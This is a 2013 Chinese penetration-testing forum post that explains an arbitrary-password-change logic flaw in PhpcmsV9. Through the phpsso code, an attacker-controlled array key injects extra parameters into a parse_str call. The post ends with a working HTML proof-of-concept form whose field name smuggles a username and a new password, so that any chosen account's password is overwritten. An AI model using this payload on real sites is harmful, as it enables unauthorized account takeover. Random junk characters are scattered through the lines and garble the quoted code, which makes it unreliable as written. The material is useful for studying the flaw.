中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:" U: k, J! t) j; |
; z  d/ D% A% K! b

# |+ I8 D  b( u4 Nparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
- b5 w+ A: _- s( z1 _5 H
5 e9 e8 c4 t: {) P1 R在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
: E4 L/ @5 |4 R" b4 @0 l0 v4 x; K+ s, n' P
我把它留给了你们。
2 {; Z3 [3 O! [$ J7 _不知道你们发现了它没有。
4 _, \: W  t9 r7 l; `7 p
3 v' d# L+ m* m) U/ W# m( n# G我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。/ {/ ^4 \) b6 U, V. L

' d6 _! U. {4 C1 Z所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ O) d$ A) {) ]0 j0 A+ L5 R
# B' _" x5 o% V' {  t( F+ e3 Z' S9 h也就是2 X' z$ y6 Z* g3 F9 ]

8 ]1 W/ q8 d2 D; w, Lusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
( n; {! Z( H# o9 Z0 i* h2 ]# l; O: v# n3 M( F9 Y
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。0 L- Y5 t1 Y! v3 l* c/ Z

: J! x$ l  y- d: ]/ Y
0 J2 _+ x1 q# ^2 z" v' V# S其实我们有这样的机会,看看代码,如下:
% {5 M1 M( {' K6 u' m- w- L( R

& k+ D) V" L2 Z- L' Y" ]! ?public function auth_data($data) {" c9 S& e6 V% e4 d
                $s = $sep = '';
4 P( i. l+ M* g1 N* @: m                foreach($data as $k => $v) {* j  g9 _  h  A+ j* O3 h  h) H
                        if(is_array($v)) {
4 {& D) W) `0 v1 \2 z5 h                                $s2 = $sep2 = '';6 b  L: X! w0 t8 O4 ]
                                foreach($v as $k2 => $v2) {
7 j7 r6 p( G0 \9 g+ g$ i* I                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
, j2 F) ~! o/ `' T2 F! b                                        $sep2 = '&';
0 _. u/ k: W& r) o, C                                }
! N+ q5 y( S  e1 K                                $s .= $sep.$s2;
% y# V& s4 u# y                        } else {
6 p7 D+ \8 G2 g( ~5 f, ?2 K                                $s .= "$sep$k=".$this->_ps_stripslashes($v);# ^. A# g4 J& N# |9 d
                        }
% ?6 v  k( i* d9 [1 V                        $sep = '&';
6 H* f9 J7 A; \! Y# O6 e                }9 O) w) ~* ?' s5 U" p1 A( a
5 n2 O! S' y, P0 D! ~9 ^
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));* Q2 s1 t+ f9 V) @. u  ~
                return $auth_s;
) {. x6 e5 D3 G3 N3 o( |) ~3 A        }
: w, c" Y/ L% G6 W2 V
. D0 N9 [0 n! i5 v3 _: o# [可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。5 z! D# E% L0 `2 c4 b
$ K* G- ?& I- c
举个例子; X6 T. {/ X9 ?/ }! V( O' Y, s
. c0 ?6 U) H! a  c6 Y) [
$a[aaa=a&bbb] = 'a';
- O  \3 u/ \* w# N
& }% q3 t* K4 e# ?会变成aaa=a&bbb=a& L) G: k1 d- d+ f9 y

, _6 o0 d$ K8 [# k3 E8 l明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
) g+ O# h2 r( L6 |5 K& _( |+ Q  a9 u3 p
这个时候,我们可以再去看一个函数。' M- m' l% c& _4 C) c
4 D: f( C$ ?" }8 l  }
就在这个文件内:
. }5 E& T' G& j8 c/ `' L, f2 B6 r0 x2 b: ?! i* o- j
. @0 t* a, [: v; g( ~3 O
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
! R/ m& f% A( |7 W                if($email && !$this->_is_email($email)) {% j% u+ d  [4 @$ T
                        return -4;
1 E5 [8 a; z% S) W" d, K! Z. r6 H4 e                }
, ]2 M9 w2 t, Y. X                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));; X; o' H5 M! v
        }
2 k( N1 c1 c- f; R, `$ C/ e7 _
. V' \6 G2 M: w1 f5 [; F这是向通行证发了这样一个请求。
/ f6 g5 ]& s$ \/ M& w7 u) O8 d2 C8 a9 W( c9 D" w8 Q' [; q
我们再跟到通信证代码里去看看,就会有所发现。
7 o+ u0 s- ], O& s  f, Y% ]% S0 N' a" D$ q. m0 N
$ Y: f2 |( u) w7 n5 m
public function edit() {* A) i  z9 L( M  g& Q
//能省就省,太长了不是吗?0 ~6 y. r1 l( |

4 h* V) z: `1 q: r+ X5 P3 t# Yif($this->username) {& K# a) b) _! J! g9 E2 t) J5 s9 b% C. A3 h
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
4 Y1 ]$ T. i8 X# A3 D2 G: f                                $res = $this->db->update($data, array('username'=>$this->username));
9 [- w3 p* u$ t0 s                        } else {' X* P( |6 H$ ]
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);7 R$ `6 J0 W: K4 I" [: b% D: o
                                $res = $this->db->update($data, array('uid'=>$this->uid));. [/ {) R7 I/ W" q5 b  @8 e
                        }" F: q7 S/ r2 v6 j

& k1 W9 b7 R0 w好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
( {1 |6 d5 F7 \* B2 z- E. f
4 m. s# r8 R5 a( apublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
. x% U% F, M- a2 c5 N
( D, f/ y% {. n. U% j很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。1 t% X/ P4 ]' }* U: s& l) l+ l/ z

4 D6 I2 a1 w" a7 k我当然找到了:( ?4 T5 p9 G* a  }; l4 J
phpcms9/phpcms/modules/member/index.php$ X: ~# r1 i$ j  _/ u% Z7 W3 D, H7 H5 \8 ]
: g- r7 c9 B+ ], W( [  Z
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);( G" c) }' V/ P- l# v* b
5 ^5 K! Q, s1 J+ p1 G, C9 L0 C, ~- Q3 |
然后就没有然后了。1 L' m" |8 ?" A0 ?5 H

' W4 @$ P- B- r<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">- [! k' W$ \. ?/ p+ C# m8 I
                                <table width="100%" cellspacing="0" class="table_form">) b& K0 e; J* ~$ \5 i
                                        <tr># s* a* J6 F$ c# h
                                                <th width="80">邮箱:</th>        " v9 w0 m# a) \' U/ J. J" E: U
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
- ]7 e9 |" i$ O/ i6 x6 R& }4 @                                        </tr>
/ f' g* L5 _4 u$ c' j* C) x  |5 v                                        <tr>& C5 V3 J+ ]$ h# W
                                                <th width="80">原密码:</th>        
  O# x' ?- _6 c8 }! b5 t" p                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
/ o$ C" f, q2 f/ b/ Q& u                                        </tr>3 F2 d0 M! l+ `! ^, W# h' L
                                        <tr>4 Y, R0 V2 H( n3 a; }6 |
                                                <th>新密码:</th>8 E: e# D/ g5 o8 s( d
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>: o* c7 t& a, @1 d! I: M% a
                                        </tr>
% o# K# c# _) T$ C2 X. h6 G. n                                        <th></th>
" r# n/ ~/ v& o% u4 ]                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
; q0 s) U0 U! u: Y! r8 W8 z, S                                        </tr>
3 O2 X3 Q+ ]1 J                                </table>
/ R+ m. m) y3 r' K; Q  S
0 S3 p( E/ [1 Z& c# p- ]. f                               
, N7 M& l; d8 _$ S9 V) \$ }! A                        </form>
* c0 d/ F& `# h! ?




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2